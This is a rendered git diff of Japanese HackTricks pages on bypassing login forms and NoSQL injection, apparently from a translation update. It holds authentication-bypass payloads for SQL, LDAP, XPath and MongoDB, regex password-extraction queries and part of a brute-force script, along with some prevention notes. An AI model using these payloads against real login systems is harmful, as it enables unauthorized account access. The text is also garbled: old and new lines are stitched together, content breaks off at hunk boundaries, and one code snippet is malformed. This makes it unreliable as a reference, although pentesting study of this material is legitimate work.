<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>**htARTE (HackTricks AWS Red Team Expert)** で**ゼロからヒーローまでのAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) を**フォロー**する
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する * **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに **PRを提出**することで、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/)Discordグループ**に**参加**するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。 [**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
@ -22,22 +22,22 @@
ログインページを見つけた場合、以下のいくつかのテクニックを試してバイパスできます: ログインページを見つけた場合、以下のいくつかのテクニックを試してバイパスできます:
* ページ内に**コメント**があるかどうかをチェックします(下にスクロールして右に移動しますか?) * ページ内に**コメント**があるかどうかを確認します(下にスクロールして右に移動しますか?)
* 制限されたページに**直接アクセスできるかどうかを確認します** * 制限されたページに**直接アクセスできるかどうかを確認します**
* パラメータを**送信しないで**チェックします1つだけでも送信しない * パラメータを**送信しないで**確認します1つだけでも送信しない
* **PHP比較エラーをチェックします:** `user[]=a&pwd=b`、`user=a&pwd[]=b`、`user[]=a&pwd[]=b` * **PHP比較エラーを確認します:** `user[]=a&pwd=b`、`user=a&pwd[]=b`、`user[]=a&pwd[]=b`
* **コンテンツタイプをjsonに変更**してjson値を送信しますbool trueを含む * コンテンツタイプをjsonに変更してjson値を送信しますbool trueを含む
* POSTがサポートされていないという応答を受け取った場合、`Content-Type: application/json`を使用してGETリクエストでJSONを本文に送信してみてください * POSTがサポートされていないという応答を受け取った場合、`Content-Type: application/json`を使用してGETリクエストでJSONを本文に送信してみることができます
* nodejsの潜在的な解析エラーをチェックします([**こちら**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)を参照):`password[password]=1` * nodejsの潜在的な解析エラーを確認します([**こちら**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)を参照):`password[password]=1`
* Nodejsはそのペイロードを次のようなクエリに変換します`SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` これにより、パスワード部分が常にtrueになります。 * Nodejsはそのペイロードを次のようなクエリに変換します` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` これにより、パスワード部分が常にtrueになります。
* JSONオブジェクトを送信できる場合は、`"password":{"password": 1}`を送信してログインをバイパスできます。 * JSONオブジェクトを送信できる場合は、`"password":{"password": 1}`を送信してログインをバイパスできます。
* このログインをバイパスするには、引き続き**有効なユーザー名を知って送信する必要があります**。 * このログインをバイパスするには、引き続き**有効なユーザー名を知って送信する必要があります**。
* `mysql.createConnection`を呼び出す際に`"stringifyObjects":true`オプションを追加すると、パラメータに`Object`が渡された場合の**予期しない動作をすべてブロック**することができます。 * `mysql.createConnection`を呼び出す際に`"stringifyObjects":true`オプションを追加すると、パラメータに`Object`が渡された場合の**予期しない動作をすべてブロック**することができます。
* 資格情報をチェックします: * 資格情報を確認します:
* 使用されている技術/プラットフォームの[**デフォルトの資格情報**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) * 使用されている技術/プラットフォームの[**デフォルトの資格情報**](../../generic-methodologies-and-resources/brute-force.md#default-credentials)
* **一般的な組み合わせ**root、admin、password、技術の名前、これらのパスワードの1つを持つデフォルトユーザー * **一般的な組み合わせ**root、admin、password、技術の名前、これらのパスワードの1つを持つデフォルトユーザー
* **Cewl**を使用して辞書を作成し、デフォルトのユーザー名とパスワードを追加し、すべての単語を**ユーザー名とパスワードとして使用して**ブルートフォース攻撃を試みます * **Cewl**を使用して辞書を作成し、デフォルトのユーザー名とパスワードを追加し、すべての単語を**ユーザー名とパスワードとして使用してブルートフォース攻撃**を試みます
* より大きな**辞書を使用して**ブルートフォース攻撃を行います([**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**** * より大きな**辞書を使用してブルートフォース攻撃**を行います([**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)****
### SQLインジェクション認証バイパス ### SQLインジェクション認証バイパス
@ -91,16 +91,16 @@ admin))(|(|
``` ```
### Remember Me ### Remember Me
ページに "**Remember Me**" 機能がある場合は、実装方法を確認し、他のアカウントを **乗っ取る** ために悪用できるかどうかを確認してください。 ページに "**Remember Me**" 機能がある場合は、その実装方法を確認し、他のアカウントを **乗っ取る** ことができるかどうかを調べてください。
### リダイレクト ### Redirects
通常、ログイン後にページがユーザーをリダイレクトします。そのリダイレクトを変更して [**オープンリダイレクト**](../open-redirect.md) を引き起こせるかどうかを確認してください。ユーザーをあなたのウェブサイトにリダイレクトすることで、情報(コード、クッキーなど)を盗むことができるかもしれません。 通常、ログイン後にページがユーザーをリダイレクトします。そのリダイレクトを変更して [**Open Redirect**](../open-redirect.md) を引き起こすことができるかどうかを確認してください。ユーザーをあなたのウェブサイトにリダイレクトすることで、情報(コード、クッキーなど)を盗むことができるかもしれません。
## その他のチェック ## その他のチェック
* ログイン機能を悪用して **ユーザー名を列挙** できるかどうかを確認してください。 * ログイン機能を悪用して **ユーザー名を列挙** できるかどうかを確認してください。
* パスワード/**機密情報** **フォーム****入力****自動入力** が有効になっているかどうかを確認します`<input autocomplete="false"` * パスワード/**機密情報** **フォーム****入力****自動入力** が有効になっているかどうかを確認してください`<input autocomplete="false"`
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
@ -110,12 +110,12 @@ admin))(|(|
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
* **サイバーセキュリティ企業** で働いていますか? **HackTricks で企業を宣伝** したいですか?または **PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード** したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **サイバーセキュリティ企業** で働いていますか? **HackTricks で会社を宣伝** したいですか?または **PEASS の最新バージョンにアクセス** したいですか?または **HackTricks をPDFでダウンロード** したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* [**公式 PEASS & HackTricks スウェグ**](https://peass.creator-spring.com) を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com) を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー** してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー** してください。
* **ハッキングトリックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください。 * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)** にPRを提出してください。
</details> </details>

View file

@ -1,21 +1,21 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する * **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください
</details> </details>
このリストには**XPath、LDAP、SQLインジェクションを介してログインをバイパスするためのペイロードが含まれています**(その順番で) このリストには、**XPath、LDAP、およびSQLインジェクションを介したログインバイパスのペイロード**が含まれています(その順序で)
このリストの使用方法は、**最初の200行をユーザー名とパスワードとして入力することです。** その後、完全なリストを最初にユーザー名に、次にパスワード入力に入れ、いくつかのパスワード_Pass1234._のようなまたは既知のユーザー名_admin_のような)を入力します。 このリストを使用する方法は、**最初の200行をユーザー名とパスワードに入力**します。次に、ユーザー名を最初に、次にパスワードを入力し、パスワード_Pass1234._または既知のユーザー名_admin_)を入力します。
``` ```
admin admin
password password
@ -824,14 +824,14 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
``` ```
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>

View file

@ -10,15 +10,15 @@
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</strong></summary> <summary><strong>**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで会社を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出する。** * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
@ -27,7 +27,7 @@ HackTricksをサポートする他の方法
PHPでは、送信されるパラメータを _parameter=foo_ から _parameter\[arrName]=foo_ に変更することで、配列を送信できます。 PHPでは、送信されるパラメータを _parameter=foo_ から _parameter\[arrName]=foo_ に変更することで、配列を送信できます。
エクスプロイトは、**オペレーター**を追加することに基づいています エクスプロイトは、**オペレーター**を追加することに基づいています
```bash ```bash
username[$ne]=1$password[$ne]=1 #<Not Equals> username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@ -40,7 +40,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
``` ```
### 基本認証バイパス ### 基本認証バイパス
**等しくない ($ne) より大きい ($gt) を使用する** **等しくない ($ne) もしくはより大きい ($gt) を使用する**
```bash ```bash
#in URL #in URL
username[$ne]=toto&password[$ne]=toto username[$ne]=toto&password[$ne]=toto
@ -56,19 +56,23 @@ username[$exists]=true&password[$exists]=true
#### **NoSQL Injection** #### **NoSQL Injection**
NoSQL databases like MongoDB are also vulnerable to injection attacks. The injection techniques used in NoSQL databases are different from those used in traditional SQL databases. In NoSQL databases, attackers can exploit vulnerabilities to manipulate the NoSQL queries and retrieve unauthorized data. NoSQL databases like MongoDB are also vulnerable to injection attacks. The injection techniques used in NoSQL databases are different from those used in traditional SQL databases. In NoSQL databases, attackers can manipulate queries to retrieve unauthorized data or perform malicious operations.
#### **NoSQL Injection Payloads** #### **NoSQL Injection Payloads**
Just like in SQL injection, attackers can use payloads to perform NoSQL injection. These payloads are specifically crafted to manipulate the NoSQL queries and retrieve sensitive information from the database. Attackers can exploit NoSQL injection vulnerabilities by using payloads that manipulate the logic of the query. These payloads can include logical operators such as `$gt` (greater than), `$ne` (not equal), and `$regex` (regular expression) to modify the query's behavior and retrieve sensitive information.
#### **Example**
In a MongoDB query, an attacker can manipulate the logic to bypass authentication and retrieve user data by injecting a payload like `{"username": {"$ne": null}, "password": {"$ne": null}}`. This payload modifies the query to retrieve user data without requiring a valid username and password.
#### **Preventing NoSQL Injection** #### **Preventing NoSQL Injection**
To prevent NoSQL injection, it is essential to validate and sanitize user inputs before executing queries. Using parameterized queries and input validation can help mitigate the risk of NoSQL injection attacks. Additionally, limiting the privileges of database users can also reduce the impact of potential NoSQL injection attacks. To prevent NoSQL injection attacks, developers should sanitize user input, validate input data types, and use parameterized queries. By implementing proper input validation and query sanitization, developers can mitigate the risk of NoSQL injection vulnerabilities.
```javascript ```javascript
query = { $where: `this.username == '${username}'` } query = { $where: `this.username == '${username}'` }
``` ```
攻撃者は、`admin' || 'a'=='a`のような文字列を入力することで、タウトロジー(`'a'=='a'`で条件を満たす)を利用してクエリを返すようにすることができます。これは、SQLインジェクション攻撃と類似しており、`' or 1=1-- -`のような入力を使用してSQLクエリを操作することができます。MongoDBでは、`' || 1==1//`、`' || 1==1%00`、または`admin' || 'a'=='a`のような入力を使用して同様のインジェクションが行われる可能性があります。 攻撃者は、`admin' || 'a'=='a`のような文字列を入力することで、タウトロジー(`'a'=='a'`によって条件を満たす)を使用してクエリを返すようにし、すべてのドキュメントを返すように悪用することができます。これは、SQLインジェクション攻撃に類似しており、`' or 1=1-- -`のような入力が使用されてSQLクエリを操作することがあります。MongoDBでは、`' || 1==1//`、`' || 1==1%00`、または`admin' || 'a'=='a`のような入力を使用して同様のインジェクションが行われる可能性があります。
``` ```
Normal sql: ' or 1=1-- - Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
@ -101,25 +105,27 @@ in JSON
#### **NoSQL Injection** #### **NoSQL Injection**
NoSQL databases like MongoDB are also vulnerable to injection attacks. In MongoDB, the injection can occur when a query is built using user input without proper sanitization. Attackers can manipulate the query to retrieve unauthorized data or perform malicious operations. NoSQL databases like MongoDB are also vulnerable to injection attacks. In MongoDB, injection attacks can occur when untrusted data is sent as part of a query.
#### **Example** #### **Example**
Consider the following Node.js code snippet using MongoDB: Consider the following MongoDB query:
```javascript ```javascript
var userInput = req.body.username; db.users.find({username: " + req.body.username + "})
db.collection('users').findOne({ username: userInput }, function(err, result) {
if (err) throw err;
res.send(result);
});
``` ```
If the `userInput` is not sanitized, an attacker can input a malicious query like `{ $ne: null }` to bypass authentication and retrieve all user data. An attacker can manipulate the query by sending a payload like:
```javascript
{"username": {"$gt": ""}, "password": {"$gt": ""}}
```
This payload will return all user documents from the `users` collection, as the conditions `$gt: ""` will always be true.
#### **Prevention** #### **Prevention**
To prevent NoSQL injection, always sanitize user input and avoid directly concatenating user input into queries. Use parameterized queries or ORM libraries that handle input sanitization automatically. To prevent NoSQL injection, always validate and sanitize user input before including it in a database query. Use parameterized queries or ORM libraries that handle input validation automatically.
``` ```
/?search=admin' && this.password%00 --> Check if the field password exists /?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password /?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
@ -163,7 +169,7 @@ To prevent NoSQL injection, always sanitize user input and avoid directly concat
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって**自動化されたワークフロー**を簡単に構築できます。\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください: 今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -238,7 +244,7 @@ password += c
``` ```
### POSTログインからのユーザー名とパスワードの総当たり攻撃 ### POSTログインからのユーザー名とパスワードの総当たり攻撃
これは簡単なスクリプトですが、前のツールでもこのタスクを実行できます。 これは簡単なスクリプトで、変更することができますが、前のツールでもこのタスクを実行できます。
```python ```python
import requests import requests
import string import string
@ -296,18 +302,18 @@ get_password(u)
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com) を手に入れ * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見る * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、 [telegramグループ](https://t.me/peass) に参加するか、 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する * **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに **PRを提出** して、あなたのハッキングトリックを共有する
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
